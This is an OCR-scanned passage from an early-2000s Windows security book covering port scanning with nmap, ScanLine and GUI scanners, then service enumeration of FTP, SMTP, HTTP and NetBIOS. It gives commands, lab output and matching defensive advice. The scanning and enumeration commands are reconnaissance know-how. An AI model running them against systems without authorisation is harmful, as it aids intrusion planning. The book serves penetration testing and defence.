quirement that closed UDP ports respond with a subset of the ICMP
Destination Unreachable message, specifically Port Unreachable. Simi-
lar to the advanced TCP scanning described earlier, we can identify
open UDP ports by finding those ports that do not respond with an
ICMP Port Unreachable message. All the scanners that we’ll be discuss-
ing use this method.

This scan method shares the unpredictability and inaccuracy as do
the advanced TCP scanning methods described earlier. Because the
scanner is flagging the lack of a response, packet loss or filtering devices
can make it very difficult to conduct UDP port scans. Further complicat-
ing matters, different TCP/IP implementations may have some restric-
tions on the volume of ICMP unreachable messages they will issue. In
RFC 1812 (page 55), a method of applying ICMP message rate limiting is
described as permitting a host or router to issue ICMP messages to only
a fraction of the packets that would normally initiate an ICMP reply.

This means that some systems will respond only to every nth UDP
port probe or will only respond every n seconds. The nmap scanner
claims to detect this rate limiting and slows its scanning to accommo-
date it. However, as described in the nmap man page (http:/ /www.in-
secure.org/nmap/data/nmap_manpage.html), Windows systems do
not implement the rate-limiting option, so this behavior shouldn’t affect
our port scans too much. In the documentation to Foundstone’s scanline
application, author Robin Keir notes that Windows 95, 98, and ME do
not seem to respond properly to closed UDP port probes, so most scan-
ners will fail to accurately detect UDP ports on these systems.

Unreachable Unreachables

As the vast majority of UDP scanners rely on receiving an ICMP “Port
Unreachable” message from the target host, we can very easily thwart
UDP scanners by blocking these messages (ICMP type 3, code 3) at our
border routers or firewall devices. Note that some applications that use
UDP protocols may not handle timeouts well and could suffer reduced
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performance if they are unable to receive ICMP destination unreachables,
but this is becoming more of the exception as network filters become
more and more strict. You may not want to restrict all forms of the Desti-
nation Unreachable message, which has more than 10 individual message
types. Refer to the Reference Center for a complete listing of Destination
Unreachable types.

Remember, UDP scanners are expecting the Port Unreachable mes-
sage for closed ports, which causes the scanner to identify all ports as be-
ing open. It’s more important that you review your filter lists to ensure
that sensitive UDP services (such as SNMP) are adequately protected
from unwanted visitors. Blocking ICMP messages does not prevent an
attacker from accessing a properly configured service.

\ Source Port Scanning

Another port-scanning concept we have not covered in depth here is
source-port scanning. Source-port scanning allows the scanner to specify
the source and destination ports of all scan traffic. Very commonly,
firewall administrators will mistakenly create “quick-pass” rules to
limit processing overhead, such as allowing all DNS response packets
based on the source port and protocol being UDP/53. If this is the case,
an attacker could conduct full UDP port scans, sourcing all the traffic
from UDP/53. Most of the tools discussed in the following section sup-
port source-port scanning; refer to the documentation provided with
each tool.

A“ ,
w Don’t Trust the Source

Source port scanning takes advantage of firewall policy assumptions,
such as “any traffic with a source of TCP/80 must be a Web server re-
sponding to a client.” The best defense is to not make any such assump-
tions. Test your network by using one of the tools described next to
issue UDP port scans from source port 53 (DNS response) and TCP port
scans from port 80 (HTTP), 443 (HTTPS) and 25 (SMTP). Review
firewall policies and access control lists for these trusting definitions. Be
sure to check all firewall rules—older Checkpoint firewalls, for exam-
ple, had an implied rule that allowed UDP/53 traffic.

Port Scanning Utilities

As this book is focused on hacking and defending Windows systems,
we will limit our discussion to utilities that are available in a native
Win32 version. Fortunately, over the past few years, a number of im-
provements in both the Windows operating system and in scanner tech-
nology means that we are by no means limited in our tool selection.
We'll briefly cover four scanners in this section, two with command-line

pauiejdx3 bujuueag



22 Part I: Hacking Fundamentals

interfaces, and two with graphical interfaces. Because we want you to
be able to try the tools we discuss, we will not be discussing any com-
mercial scanning utilities.

Command-Line Scanning Tools

Command-line scanning tools are a must-have in any hacker’s toolbox.
These tools can be called from batch or shell scripts, allowing you to
build powerful assessment tools with a minimum of programming
knowledge. When you've become familiar with the interface, no other
tool can provide the same shoot-from-the-hip satisfaction as clicking on
an open Command Prompt window and firing:

E:\hacknotes>nmap -sS -p 22,25,80,443 192.168.100.0/24

In this section, we’ll cover the command-line port scanners ScanLine
by Foundstone, Inc. and the Win32 port of the venerable nmap scanner,
originally by Fyodor of insecure.org. Both of these tools boast great
speed and accuracy, and your preference will probably depend on how
many buttons and knobs you like to play with.

nmap “Network Mapper” It is near impossible to introduce the nmap
scanner while avoiding clichés. Developed as an open source project
with the input of TCP/IP networking experts all over the world, nmap
is a versatile, innovative, and powerful port scanner. The operating sys-
tem identification technology pioneered in nmap has been licensed by
many commercial tool vendors, and its multiple operating ports mean
you can learn one tool and conduct port scans from almost any kind of
system, which can come in very handy when the only machine you can
gain access to is a Hewlett-Packard running HP-UX 10.20.

The Win32 port of nmap requires the installation of the winpcap li-
braries available from http://winpcap.polito.it. Winpcap is a packet
capture library very similar to the libpcap used on UNIX systems, and
provides applications a simple interface to capture raw packet data.
This raw packet data is used for some of nmap’s advanced scanning
techniques.

ﬂ At some point, you may need to use nmap or another winpcap-based utility on a
mutli-processor system. While the latest version of the library (winpcap v3.0 was
released just shortly before this was written) has proper support for multi-processor
systems, many of the v2.x implementations do not, as the authors found an inaccu-
racy and disabled multi-processor support altogether. If you are having difficulty
with nmap, tcpdump or other packet capture utilities on a multiprocessor system (or
even single processor systems), try upgrading the winpcap library.
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Once winpcap is installed, you just need a copy of the nmap execut-
able, available from insecure.org (http://www.insecure.org/nmap/
nmap_download.html). There is also a Win32 graphical interface to
nmap that will install the nmap command-line executable automati-
cally. First, we'll just get the usage information:

E:\hacknotes>nmap.exe -h
Nmap 3.20 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Common Scan Types ('*' options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect () port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -gF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sR/-I RPC/Identd scan (use with other scan types)
Some Common Options (none are required, most can be combined) :
* -0 Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: '1-1024,1080,6666,31337"
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-PO0 Don't ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy_hostl,decoy2[,...] Hide scan using many decoys
-6 scans via IPv6 rather than IPv4
-T <Paranoid|Sneaky|Polite|Normal |Aggressive|Insane> General timing
-n/-R Never do DNS resolution/Always resolve [default: sometimes]
-0oN/-0X/-0G <logfile> Output normal/XML/grepable scan logs to
-iL <inputfile> Get targets from file; Use '-' for stdin
* -S <your_IP>/-e <devicename> Specify source address or network int
--interactive Go into interactive mode (then press h for help)
--win_help Windows-specific features

Example: nmap -v -sS -0 www.my.com 192.168.0.0/16 '192.88-90.*.*"'
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES

Let’s see how our various scan types play out in nmap. The first pro-
tocol we discussed for scanning was ICMP, most commonly a standard

ICMP echo request. We can run an ICMP echo scan of a class-C network

using the ping scan (-sP) and ICMP echo only (-PE) options of nmap,
like so:

E:\hacknotes>nmap -sP -PE 192.168.32.0-255
Starting nmap 3.20 (www.linsecure.org/nmap )

Host ip52.lab.hacknotes.com (192.168.32.52) appears to be up.
Host ip55.lab.hacknotes.com (192.168.32.55) appears to be up.
Host ip57.lab.hacknotes.com (192.168.32.57) appears to be up.

Nmap run completed -- 256 IP addresses (3 hosts up) scanned in 69.502s
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As you can see, nmap takes the liberty of conducting a reverse DNS
lookup on the IPs it finds and returns the hostname as well as the IP ad-
dresses of the hosts it finds. Let’s swap out the ping scan flag, and in-
stead scan for TCP ports this time, using the full connect method (the
-sT flag). We could let nmap choose what ports to scan (with no
port-definition options, nmap will scan ports 1-1024, or the -F flag can
be used to scan all ports listed in the nmap-services file) but we want to
see our results more quickly, so we’ll use the ports option to scan only
for a few common TCP services:

E:\hacknotes>nmap -sT -p 22,23,25,80,445 192.168.32.0-255
Starting nmap 3.20 ( www.insecure.org/nmap )

Interesting ports on ip52.lab.hacknotes.com (192.168.32.52):

Port State Service
22/tcp filtered ssh

23/tcp filtered telnet
25/tcp filtered smtp

80/tcp filtered http

445/tcp open microsoft-ds

Interesting ports on ip55.lab.hacknotes.com (192.168.32.55):

Port State Service

22/tcp filtered ssh

23/tcp filtered telnet

25/tcp open smtp

80/tcp filtered http

445/tcp open microsoft-ds

Nmap run completed -- 256 IP addresses (2 hosts up)

So far, all the hosts that we’ve scanned have been responding to
ICMP messages. However, most well-defended sites block the majority
of ICMP traffic coming into their environment, so our ping requests will
fail. By default, nmap begins its scanning with a ping sweep, and any IP
addresses that do not respond will not be scanned further. In our next
example, we’ve set nmap to skip the ping phase (the -P0 flag) and im-
mediately conduct a UDP port scan (the -sU flag). Because UDP port
scans can be very slow, we will limit our port selections to DNS and
SNMP (the -p 53,161 setting).

E:\hacknotes>nmap -PO -sU -p 53,161 192.168.32.0-255

This is just the tip of the iceberg for nmap’s functionality. Try using
the -0 flag to have nmap determine the target host’s operating system. If
you find a host that doesn’t reply to ICMP messages, try the timestamp
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and netmask ICMP request options, -PP and -PM, respectively. Be sure
to take a look at the complete nmap manpage and try the options out on
your own network.

«fs Some network administrators still cringe when they hear the word nmap. The tool
has gained an undeserved reputation for crashing network devices. In the early
days of TCP/IP penetration testing, nmap traffic could occasionally generate ex-
ceptions in routers or switches, causing system restarts or denial-of-service condi-
tions. Many posts to network guru listservs or Web forums trained network
administrators to equate nmap with network outages. Today, far fewer active rout-
ers are still running operating system versions that are susceptible to these vulner-
abilities. This is not to say that running nmap or other scanning tools will definitely
not impact your network—as is the case with all the tools we discuss, use these
tools judiciously and at your own risk!

ScanLine (Formerly FScan) Another excellent command-line scanner is
ScanLine, from Foundstone, Inc. Previously known as FScan, this com-
mand-line scanner is significant due to its speed and its phenomenally
small footprint. The nmap Win32 executable (v3.20) tips the scales at a
hefty 230KB, close to 700KB if you include the support files (services, pro-
tocols, rpc and operating system support files). ScanLine requires only
39KB, and of that, 18KB is for the manual. ScanLine does not require the
winpcap library either, so you can get up and scanning very quickly.

ScanLine’s command-line options differ from those of nmap, but we
can still accomplish all the same tasks we did with nmap. We'll begin
with a quick ICMP echo scan of the lab:

E:\hacknotes>sl.exe -n 192.168.32.0-255
ScanLine (TM) 1.00

Copyright (c) Foundstone, Inc. 2002
http://www. foundstone.com

Scan of 256 IPs started at Sat Apr 19 13:10:55 2003
192.168.32.52

Responded in 200 ms.

4 hops away

Responds with ICMP unreachable: No
192.168.32.55

Responded in 160 ms.

4 hops away

Responds with ICMP unreachable: No
192.168.32.57

Responded in 190 ms.

4 hops away

N
(-]
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Responds with ICMP unreachable: No

Scan finished at Sat Apr 19 13:11:02 2003
3 IPs and 0 ports scanned in 0 hours 0 mins 6.78 secs

ScanLine’s performance on this first scan is notably faster than that
of nmap. This is due to a few factors, including initial timeouts, nmap’s
dependence on the packet capture library, and the fact that nmap de-
faults to providing reverse DNS lookups. While ScanLine’s default set-
tings will get you your information that much faster, that speed
translates into more data crossing the wire more quickly, so ScanLine is
not always as stealthy as nmap.

If you want to try to maintain a lower profile, you can override
ScanLine’s default ICMP and TCP/UDP timeouts using the -g and -c¢
flags, respectively. Alternatively, you can tell ScanLine to delay a cer-
tain number of milliseconds between scans with the -d flag. This option
can have a significant impact on scan accuracy, as the default setting of
Oms can overrun low speed routers and cause scan packets to be
dropped. In the following examples, we set a scan delay of 15ms to
avoid such problems.

ScanLine does not support half-open TCP scanning but does offer
limited enumeration by way of a banner grabbing option. In the follow-
ing example, we will scan our same simple port list (this time using the
scan delay) and grab banners for any common services.

E:\hacknotes>sl.exe -b -d 15 -t 22,23,25,80,445 192.168.32.1-255
ScanLine (TM) 1.01

Copyright (c¢) Foundstone, Inc. 2002

http://www. foundstone.com

Scan of 254 IPs started at Sat Apr 19 14:58:02 2003
192.168.32.105

Responded in 0 ms.

0 hops away

Responds with ICMP unreachable: No

TCP ports: 80 445

TCP 80:

[HTTP/1.1 200 OK Content-Length: 1433 Content-Type: text/html Content
-Location: http://192.168.32.105/iisstart.htm Last-Modified: Sat, 22
Feb 2003 01:48:30 GQM]

Scan finished at Sat Apr 19 14:58:06 2003
3 IPs and 15 ports scanned in 0 hours 0 mins 38.70 secs

Even with the 15 ms delay, ScanLine can still process about 13 ports
per second. We omitted most of the hosts in the previous scan for the
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sake of space, but as you can see ScanLine returned the beginning of the
HTTP banner from the host at 192.168.100.105. Not all service banners
can be discovered using ScanLine, so we discuss further enumeration
methods in Chapter 3.

The documentation that accompanies ScanLine is excellent, and like
nmap, ScanLine offers a great deal of advanced functionality. The best
way to become familiar with either of these tools is simply to install them
and experiment. When you're comfortable with the tools, you can accom-
plish complicated scanning tasks in a single command line, like so:

E:\hacknotes>sl.exe -d 15 -u 53,161,500 -t 22,23,25,80,445 \
192.168.32.1-254 | sl -b -t 1-65535 -u 1-65535 -f "stdin"

This command line instructs ScanLine to first run a limited port scan
of the 192.168.32.0 network, testing only 3 UDP ports and 5 TCP ports.
Then, for each IP found alive in that port scan, conduct a full 65,535 TCP
and UDP port scan. This type of command chaining is very helpful
when you have a large range to scan and want to run scans unattended.
The same task could be accomplished using nmap, but ScanLine’s
read-from-file (the - £ flag) is more robust and can sift through almost
any input stream for IP addresses. To do the same thing with nmap,
we’d have to use an interim parser to create an IP list.

Graphical Interface Scanners

With the sheer number of command-line options for ScanLine and nmap,
sometimes it can be helpful to have a more user-friendly interface on a
port scanner. In this section, we’ll briefly cover installation and use of two
Windows scanner applications, MingSweeper by Greg Jones (http://
www .hoobie.net) and Nmapwin, the graphical front end for the nmap
command-line scanner, available from http:/ /www .nmapwin.org.

MingSweeper Though it hasn’t been updated for some time,
MingSweeper v1.00 alpha 5 is one of the better GUI-based Windows
scanners available. MingSweeper supports all of the port scanning
methods we’ve discussed, has similar banner enumeration features as
ScanLine, and supports advanced features such as application version
detection, source-port scanning, and automatic scan rate adjustment.

Installation of MingSweeper is very simple. Simply download the
package from http://www.hoobie.net and uncompress the files into a
directory of your choice. MingSweeper can be run immediately, but the
author recommends that to best take advantage of MingSweeper’s op-
erating system detection, you should apply the included Enable_User_
TOS.reg registry file and reboot your system. After the registry update
has been applied, simply run MingSweeper.exe from wherever you in-
stalled the files to.
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MingSweeper’s interface takes a little getting used to. The bottom
panel is used to display scan output and program options, and the scan
type, IPs, and port ranges are defined in the top panel. The screenshot in
Figure 2-1 shows MingSweeper having just completed a SYN scan of the
host at 192.168.100.1.

Overall, MingSweeper is an excellent tool for learning port scan-
ning. It’s a shame that the developer seems to have stepped away from
the project, as it is head and shoulders above most of the freeware/
shareware Win32 graphical port scanners. The interface can be a little
spotty at times, (for example, the IP address 192.168.100.105 is dis-
played in the Ports window as 192.168.100.10), but small user interface
bugs are more than balanced by the various options and ease of use.

NmapWin Because we spent so much time discussing the nmap op-
tions, we felt it would be helpful to offer a glimpse at the Win32 graphi-
cal frontend for the nmap command-line scanner, NmapWin. Available
from http://www.nmapwin.org as a full Windows installation pack-
age, NmapWin makes installation a snap, installing the GUI frontend
and nmap command-line installer and providing a link to the WinPcap
installer from its start menu (Start | Programs | NmapWin | Install
WinPcap 2.3).

Whereas MingSweeper is a self-contained application, the NmapWin
program merely wraps the nmap command-line scanner. As you select

% MingSweeper 1.00[a5] - Metwork Reconnaizzance Tool

i Targets l192.188.100.1| | Specified ports | I1-2DED,BDDD,32DDD-33DDD

Summary  Ports |Detailedl Clutput Logl Scanning Dptionsl GeneraIDptionsi
Target I Port | Proto I D ezcription | Status | B anner/application Detailz I
192 168100 1 tep  eompresshet’  Filtsted

1921681001 22 tcp ash Open  55H-2.0-0penS5H_2 9p1

192.168.100.1 25 tcp mtp Open 220 mailer. hacknotes. com ESMTP Postfis [Postfis-1...
192.168.100.1 2 tcp hosts2-ns Open  Apache HTTP Server v2.x
192 16681001 37624 tcp Filtered

|Idie v

Figure 2-1. MingSweeper single host scan output
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options in the NmapWin interface, you can see the changes applied to the
actual nmap command-line statement displayed in the status bar of the
window. Even if you're not a fan of graphical user interfaces, this aspect
of NmapWin is appealing. You can build advanced nmap command lines
without so much as glancing at the usage directions.

The biggest advantage NmapWin offers over the command-line
scanner itself is the NmapServ scan scheduler service, which you can
use to set up regular network scans to help monitor your security pos-
ture. More information on this option is available in the NmapWin help
file. If you simply want to run a port scan of your network every Friday
at 8:00 P.M,, this service can probably help.

In the NmapWin screenshot in Figure 2-2, you can see the com-
mand-line options in the status bar and the actual nmap command-line
output displayed in the Output frame of the application.

NmapWin's user interface is fairly intuitive; you can simply disable
or enable different nmap options from the various frames. However,
don’t be afraid to validate NmapWin’s displayed output by running the
nmap command-line scanner with the same options as displayed in the

EMapwinvian T |
Host: Scan | Stop ] |
1192.158.100.1

Help ] Exit ‘

Scan ]Qiscover] thions] T_iming1 Files ] Sergic:e] ﬂin32]

~Mode Scan Options
| | ¥ Port Rangs ™ Use Deco [T Bource Scan
' Connect " MNull Scan " window Scan | ]22 %5 8 8194434 | 2 I
SN Stealth ¢ HmasTree ¢ BCP Scan ——
- - - [ Device [ Source Addiess [ Source Port

" FIN Stealth ¢ [P Scan " List Scan ] | ]

" PingSweep  C ldle Scan ™ Idle Scan Host

" UDP Scan " ACK Scan
~ Dutput 1

i ] =

Starting nmap Y. 2.00 [ W, insecure.org/amap 0
Interesting ports on mandark (192.16%.100.17:
Fort State Service
2z2/tcp open ssh
25 /tcp apen smtp
s0/tcp filtered http
81/tcp open hostsz-ns
443 ftcp Tiltered https
445 ftcp filtered microsoft-ds
Mmap run completed -- 1 IF address (1 host up) scanned in 2 seconds
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Figure 2-2. The NmapWin user interface
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status bar. A few times (and again while preparing this screenshot), we
have seen NmapWin seem to return no results when the same options
for the nmap command-line scanner returned the expected results.

SUMMARY

In the previous chapter we learned methods of finding our target’s net-
worked devices by using publicly available information sources. Here
in Chapter 2, we learned the fine art of port scanning—from the proto-
cols we use to the why’s and how’s of service detection. From our crash
course in the underlying TCP/IP, we investigated four port-scanning
applications that work on the Windows platform. Hopefully by now,
you've installed one or more of these tools and run some scans on your
local network. If not, get to it! In our next chapter, we’ll start talking to
the ports we’ve found, to learn as much as possible about our victims.
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you should now have a healthy list of active IP addresses and as-
sociated services. If you've been targeting a well-secured remote
environment, you probably have nothing more than a handful of HTTP
servers and possibly an SMTP or a DNS server as well. Our objective
now is to talk to each one of these devices and learn as much about them
as we can. This will complete our picture of the environment and begin
targeting specific services and vulnerabilities with surgical precision.
In this chapter, we’ll learn how to get friendly with some common
services by using specialized utilities to probe each protocol for more
details. These tools help us to impersonate legitimate network applica-
tions, convincing the target device that we’re actually a peer or simply a
confused client application. In this chapter, we’ll concentrate on ser-
vices that we might find exposed externally, while in later chapters
we’ll look at some of the less common Windows service offerings.

Depending on what kind of environment you've been scanning,

ENUMERATION OVERVIEW

While many TCP services can be probed using the telnet application,
other TCP services and all UDP services require more sophisticated
probing. In the first chapter, we were using a common DNS enumera-
tion technique when we used the nslookup utility to attempt a DNS
zone transfer. Many port scanning tools have some kind of enumeration
capabilities built in, but these are usually very basic attempts, such as
sending HTTP requests or simply sending a couple of carriage returns.

As we'll soon see, using tools specifically designed for our target
services will provide us with greater success and more useful informa-
tion than what most scanners can provide. To keep things orderly, we’ll
present our techniques in order of default service port, with HACK and
DEFEND sections as appropriate. We will limit our list to those services
most commonly found in Windows environments or those that can help
identify whether or not our target is a Windows system.

\ FTP Server Probe (TCP/21)

As developers and administrators have warmed to the idea of file
transfers over HTTP, public FTP servers have begun to get scarce.
When we are fortunate enough to find one, probing it is simply a matter
of grabbing the nearest FTP client. While Web browsers have some FTP
capabilities, we're looking for detailed information, so we'll stick to the
command-line variety. The ftp client included with the Windows oper-
ating systems is all we need. To get started, all we have to do is type ftp
and the server’s IP address:

E:\hacknotes>ftp phalanx.hacknotes.com
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The server will respond with a service banner and then prompt for a
username and a password. Because password guessing would be futile,
we’ll simply try the username anonymous:

Connected to phalanx.
220 Microsoft FTP Service

User (phalanx: (none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password
Password:

230 Anonymous user logged in.
ftp> help

Not a whole lot of information here. From the Microsoft FTP Service
banner, we know that it’s either a Windows FIP server or a system con-
figured to impersonate one. With our anonymous access, we can browse
the directory structure and download any available files to review later.

Stop Running FTP Services

There are few good reasons to continue using FIP services for business
purposes today, and in the few cases where FTP use is justified (usually
for legacy compliance), FTP access should be strictly limited to a small
set of IP addresses. Windows 2000 and 2003 both allow IP-based access
restrictions to be configured per FTP site using the Internet Services
Manager, as shown in Figure 3-1.

SMTP Service Probes (TCP/25)

The core protocol of Internet e-mail, every organization with an e-mail
address has a public SMTP server relaying their inbound e-mail some-
where. In some cases, this may be a third-party host that will lie outside
of our target range, but nevertheless, we should have identified the mail
server during our DNS footprinting in the first chapter.

Mail clients tend to be very quiet about their network traffic, so to
probe the SMTP service, we're going to use the standard Windows
telnet application. To connect to the SMTP server, all we need to do is
feed telnet the IP address and the TCP port number, 25.

E:\hacknotes>telnet mailer.hacknotes.com 25
220 mailer.hacknotes.com Microsoft ESMTP MAIL Service, Version: 5.0.
2195.4905ready at Sat, 19 Apr 2003 23:07:27 -0700

Tickled by nothing more than a connection, this SMTP service coughs
up its life story. We now know the system’s real hostname (reverse
lookups may have been incorrect), that it’s a Microsoft Windows SMTP
service, and we can see the exact version and even the local system time.
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Intranet FTP Site Properties

[ 71

FTP Site I Security Accounts l Messages I Home Directary  Directory Security !

~TCP/IP address access restrictions

i
Except those listed below: IJ «

By default, all computers will be: J " Granted access

Access | IP address [Subnet mazk)

& Granted By 172,16.0.0 (255.255.0.0)
of Granked By 192.168.1.0 (255.255.255.0)

Ok l Cancel |

£pply

Help

Figure 3-1.  Applying IP restrictions to an FTP site in Windows 2003

That'’s a lot of data to give up so quickly. We can try some other SMTP
commands to see if we can get any additional information, such as
VRFY (verify address) and EXPN (expand address). Most servers no
longer support these options, but in rare instances, you'll find an inex-
perienced administrator whose e-mail server allows one of these meth-
ods. You can then plug away with VRFYs or EXPNs to find valid e-mail
addresses that you can later use when we need to start guessing

usernames.

HELO hacknotes.com

250 mailer.hacknotes.com Hello [192.168.100.103]
VRFY root@hacknotes.com

501 5.5.4 Invalid Address

VRFY modea@hacknotes.com

252 2.1.5 Cannot VRFY user, but will take message for <modea@hacknotes.com>

EXPN modea
500 5.3.3 Unrecognized command
VRFY modea@someotherdomain.com

550 5.7.1 Cannot relay to <modea@someotherdomain.com>

HELP
214-This server supports the following commands:

214 HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH TURN ATRN

ETRN BDAT VR QUIT

221 2.0.0 mailer.hacknotes.com Service closing transmission channel
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Oddly, this server provided different responses for when we tried to
verify a very common e-mail address (root@hacknotes.com) than when
we tried the seemingly legitimate e-mail addresses of modea@hacknotes
.com and pete@hacknotes.com. As it turns out, neither e-mail address is
valid, and the server is simply replying in the semi-affirmative for all
variations. Finally, by verifying an e-mail address for another domain,
we are able to determine that this SMTP server probably won’t be willing
to forward our spam.

SMTP Command Limiting

E-mail is one service most organizations cannot do without, so in this
case, filtering is not the answer. Instead, we can concentrate on limiting
the methods available on our SMTP server to limit the amount of infor-
mation we disclose so freely. For the Microsoft SMTP server, Exchange or
otherwise, we can change the mail service name and the version string
using a Microsoft-provided Internet Information Services advanced con-
figuration tool known as MetaEdit (we discuss MetaEdit in more detail in
Chapter 14). The process is described in depth in Microsoft Knowledge
Base article Q281224, available from http://support .microsoft.com/de-
fault.aspx?scid=kb;en-us;(Q281224.

DNS Enumeration (TCP/53, UDP/53)

In the first chapter, we got ahead of ourselves and performed some basic
DNS enumeration as part of our footprinting efforts and saw how to pre-
vent the most severe DNS information leak, the unauthorized zone trans-
fer. It's worth noting that after extensive customer feedback about the open
default zone transfer settings in Windows 2000 Server, the default setting
for Windows 2003 server has been set to disallow zone transfers entirely.

Other than zone transfers, your concern with your DNS server
should be for how many hostname mappings are available publicly. As
suggested earlier, regular domain zone file audits will provide the best
control over your public DNS information. If you have forgotten how to
use nslookup to attempt DNS zone transfers, or locate mail servers or
primary name servers, we have provided a brief nslookup command
reference in the blue pages.

HTTP Service Probing (TCP/80)

Along with SMTP and DNS, HTTP (Hypertext Transfer Protocol) is one of
the services you can expect to find in just about any environment.
Typically, HTTP servers will disclose more useful information in the
content pages it serves than in the service banners, but simple banner
grabbing can help us identify the server operating system and fre-
quently the version. Banner grabbing is simply a matter of connecting to
the HTTP service port and issuing either a HEAD or GET request, then
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pressing ENTER twice to send two carriage returns. In the next example,

”

the client input is indicated with “-->".

6 The Windows telnet application doesn’t automatically detect that HTTP doesn't
provide an echo, so when you issue your HTTP request, you won'’t see the charac-
ters you're typing. This can be disorienting at first.

E:\hacknotes>telnet www.hacknotes.com 80
-->HEAD / HTTP/1.0
-—>

-—>

HTTP/1.1 200 OK

Content-Length: 1433

Content-Type: text/html

Content-Location: http://192.168.100.105/iisstart.htm
Last-Modified: Sat, 22 Feb 2003 01:48:30 GMT
Accept-Ranges: bytes

ETag: "06be97fl4dac21:254"

Server: Microsoft-IIS/6.0

Date: Sun, 20 Apr 2003 07:14:45 GMT

Connection: close

Again, we've been well rewarded for our efforts. Our HEAD request
has informed us that this server is running Microsoft IIS v6.0, so it’s very
likely that the system in question is a Windows 2003 Server. While there
is a timestamp provided, this one does not indicate the local timezone or
GMT offset, so a hacker can’t immediately determine if it’s a good time
of day to attack or not. The ETag flag is a new addition in IIS v6.0 and
represents a unique resource entity tag, commonly used for managing
load balanced connections.

There has been a tendency for IIS versions to be incremented with
the release of each new Windows operating system. Though this is con-
sidered a rule-of-thumb, a table of IIS versions and corresponding oper-
ating system versions is presented in Table 3-1.

:
‘i HTTP Service Obfuscation

There are a few steps that can be taken to further limit the information
that an attacker can glean by reviewing your server’s raw HT'TP output.
Microsoft has made great strides in recent years in allowing administra-
tor’s greater control over the inner workings of the Internet Information
Service, offering both the IIS Lockdown Tool and the URLScan ISAPI
filter as free downloads from their support site. We’ve dedicated an en-
tire chapter of this reference to these two tools, as well as many other IIS
enumeration techniques, so for detailed instructions on HTTP service
defense, refer to Chapter 14.
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IIS Banner Operating System Version

Microsoft-1IS/4.0  Windows NT 4.0, all service packs
Microsoft-IIS/5.0 | Windows 2000 Server, Professional
Microsoft-1IS/5.1 | Windows XP

Microsoft-1IS/6.0 | Windows 2003 Server, .NET Server betas

Table 3-1.  Microsoft IIS Versions and Corresponding Windows Version

NetBIOS over TCP/IP Helpers (UDP/137,
UDP 138, TCP/139, and TCP/445)

Prior to Windows 2000, all Windows operating systems used the
NetBIOS over TCP/IP (NetBT) protocol suite to handle all Microsoft
Windows Networking functions (commonly referred to as SMB, or
Server Message Block protocol). Windows 2000 and above support SMB
protocol services directly over TCP on port 445 and can also make use of
NetBIOS over TCP/IP for communicating with older operating sys-
tems. Many of the techniques we describe here can be used against both
SMB implementations.

The NetBT suite consists of a NetBIOS name resolver (UDP/137), a
NetBIOS datagram service (UDP/138), and a NetBIOS session service
(TCP/139). Of these, the name resolver and the session service will be of
the greatest use to us. The NetBIOS datagram service doesn’t have a lot to
offer in terms of enumeration.

\ NetBIOS Name Service Queries

When available, the NetBIOS name service makes our lives a lot easier
when we're trying to get a feel for the Windows networking layout. You
have probably seen the Windows Explorer become unresponsive for a
moment after you click to expand the Entire Network | Microsoft Win-
dows Network rollups. During this time, your system is querying the
local network for NetBIOS devices, in many cases using NetBIOS name
query broadcasts.

We can use the Microsoft net utility to get started mapping our Win-
dows domain (or workgroup). First, we’ll ask the net utility for a list of
other computers on our network by adding the command view:

E:\hacknotes>net view

Server Name Remark

\\DEXTER

\ \COURAGE

\\BUTTERCUP The one who always looks angry
\ \BRENDAN

The command completed successfully.

37
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This is a list of all the computers in our current domain, WORKGROUP.
Suppose we didn’t actually know what domains were available on our net-
work (as would be the case for an attacker). The net utility can help us out
here as well because, by using the view command with the /domain
switch, we get a list of all the domains on the local network.

This is all well and good if we're looking at our own network. But
what if we're remote? We want to query a specific host (one that we found
during our scanning) for specific details about its network. Fortunately,
another native Microsoft Windows utility, nbtstat, can help us out here.
This tool provides statistics for the NetBT services and can list name table
information for remote IP addresses when used with the -2 flag (note that
this option is case sensitive—the lowercase -a flag is used with NetBIOS
names instead of IP addresses). In the following example, we’ll run this
utility against our Windows 2003 Server PHALANX:

E:\hacknotes>nbtstat -A 192.168.100.105

Local Area Connection 2:
Node IpAddress: [192.168.100.103] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
PHALANX <00> UNIQUE Registered
HACKNOTES <00> GROUP Registered
HACKNOTES <1C> GROUP Registered
PHALANX <20> UNIQUE Registered
HACKNOTES <1B> UNIQUE Registered
HACKNOTES <1E> GROUP Registered
HACKNOTES <1D> UNIQUE Registered
.._ MSBROWSE__ .<01> GROUP Registered

MAC Address = 00-04-76-43-6F-7B

Despite the fact that we have not authenticated to PHALANX nor to
its domain HACKNOTES, we receive the name table response shown
above. This output is somewhat cryptic, and it’s very important to know
the various NetBIOS name types from the output, such as <1C> GROUP.
The list of the most useful NetBIOS name types is shown in Table 3-2, and
a complete list of NetBIOS name types is included in the Reference Center.

When we review the results from our nbtstat run against PHALANX
against the NetBIOS Name Types table, the sudden list of PHALANX and
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HACKNOTES begins to take on some meaning. With a simple UDP probe
from the nbtstat application, we’ve learned that

The NetBIOS name of 192.168.100.105 is PHALANX.
PHALANX is running the Workstation service.

PHALANX is running the File Server service.

PHALANX is a member of the HACKNOTES domain.

PHALANX is a Domain Master Browser for the HACKNOTES
domain.

B PHALANX is a Domain Controller for the HACKNOTES domain.

Voila! Using only a Microsoft-provided network diagnostic tool
(which is installed by default on all Windows operating systems),
we’ve found an active domain and its domain controller. When Win-
dows 2000 was just starting to appear in most corporate environments,
most NetBIOS name tables would include the logged in username as a
<03> UNIQUE tag for the Windows Messenger service. While that’s
not usually the case today, always keep your eyes peeled for multiple
<03> UNIQUE entries—any of those that don’t match the NetBIOS
hostname are legitimate usernames on the system.

The nbtstat utility provides a wealth of information that can be used
to map a Windows network’s layout. By enumerating the name table of
each NetBT-enabled server, we can see all the domains and workgroups
that we’ll have available for our more invasive hacking activity later.
